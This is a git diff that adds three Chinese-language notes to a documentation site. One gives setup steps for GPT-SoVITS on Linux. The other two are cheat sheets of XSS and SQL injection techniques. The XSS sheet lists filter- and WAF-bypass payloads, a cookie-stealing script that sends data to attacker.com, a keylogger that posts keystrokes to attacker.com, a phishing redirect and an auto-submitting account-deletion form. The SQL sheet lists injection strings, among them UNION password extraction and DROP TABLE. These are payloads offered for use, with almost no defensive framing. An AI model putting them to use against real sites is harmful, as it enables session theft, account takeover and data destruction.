diff --git a/docs/src/08_AI/06_GPT-Sovits.md b/docs/src/08_AI/06_GPT-Sovits.md
new file mode 100644
index 0000000..e04fe26
--- /dev/null
+++ b/docs/src/08_AI/06_GPT-Sovits.md
@@ -0,0 +1,21 @@
+# GPT-Sovits
+
+## Linux
+
+推荐使用 miniforge:
+
+1. `conda create --name GSV python=3.12`
+2. `conda activate GSV`
+3. `pip install -r requirements.txt`
+
+在 linux 上运行 GPT-Sovits ，需要安装一些必要的依赖
+
+1. 安装 MECAB 开发库: `sudo apt install libmecab-dev mecab`
+2. 重新安装 `python_mecab_ko`: `pip uninstall python_mecab_ko && pip install python_mecab_ko`
+3. 安装 opencc: `pip install opencc-python-reimplemented`
+4. 安装 NTLK资源(用于输出英语):
+
+```python
+import nltk
+nltk.download('averaged_perceptron_tagger_eng')
+```
diff --git a/docs/src/33_后端/09_常见XSS注入手法.md b/docs/src/33_后端/09_常见XSS注入手法.md
new file mode 100644
index 0000000..e5b4ded
--- /dev/null
+++ b/docs/src/33_后端/09_常见XSS注入手法.md
@@ -0,0 +1,51 @@
+# 常见XSS注入手法
+
+1. 存储型: `<script>alert('XSS')</script>`
+2. 反射型: `<img src="x" onerror="alert('XSS')">` 变种: `<img src="javascript:alert('XSS')">` | `<img src="data:image/svg+xml;base64,PHN2ZyBpZD0ieCIg...">`
+3. DOM-based XSS: `<a href="javascript:alert('XSS')">点击我</a>`
+4. HTML 实体编码绕过: `&lt;script&gt;alert('XSS')&lt;/script&gt;` | `\u003cscript\u003ealert('XSS')\u003c/script\u003e` | `<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></iframe>`
+5. 标签拆分绕过: `<scr<script>ipt>alert('XSS')</scr</script>ipt>`
+6. 利用 `<svg>` 向量: `<svg onload="alert('XSS')"></svg>` | `<svg><script>eval('alert\x28"XSS"\x29')</script></svg>`
+7. 利用事件处理器: `<body onload="alert('XSS')">` | `<div onmouseover="alert('XSS')">悬停我</div>` | `<a href="#" onclick="alert('XSS')">点击我</a>`
+8. JavaScript 伪协议（javascript:）: `<a href="javascript:alert('XSS')">点击</a>` | `<a href="JaVaScRiPt:alert('XSS')">点击</a>` | `<a href="javascript:eval('alert\x281\x29')">点击</a>`
+9. 利用 `<iframe>` 或 `<embed>`: `<iframe src="javascript:alert('XSS')"></iframe>` | `<embed src="data:text/html,<script>alert('XSS')</script>">`
+10. 大小写混合绕过: `<ScRiPt>alert('XSS')</ScRiPt>`
+11. 利用注释绕过: `<!--><script>alert('XSS')</script>-->`
+
+## 常见攻击载荷
+
+1. 窃取 Cookie: `<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>`
+2. 重定向到钓鱼页面: `<script>window.location.href='http://phishing-site.com';</script>`
+3. 键盘记录器:
+
+```js
+<script>
+document.addEventListener('keypress', function(e) {
+  fetch('https://attacker.com/log', {method: 'POST', body: e.key});
+});
+</script>
+```
+
+4. 自动提交表单（CSRF + XSS）:
+
+```js
+<script>
+let form = document.createElement('form');
+form.method = 'POST';
+form.action = '/delete-account';
+document.body.appendChild(form);
+form.submit();
+</script>
+```
+
+## 绕过 WAF技巧
+
+1. 使用 `String.fromCharCode()` 构造字符串:
+
+```js
+eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))
+// 等价于 alert('XSS')
+```
+
+2. 使用模板字符串（ES6）：``${alert`XSS`}``
+3. 利用 top、parent、self 等全局对象：`top['alert']('XSS')`
diff --git a/docs/src/33_后端/10_常见SQL注入手法.md b/docs/src/33_后端/10_常见SQL注入手法.md
new file mode 100644
index 0000000..832d544
--- /dev/null
+++ b/docs/src/33_后端/10_常见SQL注入手法.md
@@ -0,0 +1,11 @@
+# 常见SQL注入手法
+
+1. 基本 SQL 注入: `' OR '1'='1`
+2. 联合查询注入: `' UNION SELECT username, password FROM users --`
+3. 报错注入: `' AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT password FROM users LIMIT 1))) --`
+4. 时间盲注: `' AND IF(1=1, SLEEP(5), 0) --`
+5. 布尔盲注: `' AND (SELECT COUNT(*) FROM users WHERE username = 'admin') > 0 --`
+6. URL 编码绕过: `%27 OR 1=1 --`
+7. 十六进制编码绕过: `0x27 OR 1=1 --`
+8. 参数化查询验证: `user'input; DROP TABLE comments; --`
+9. 输入过滤验证: `admin'; --`
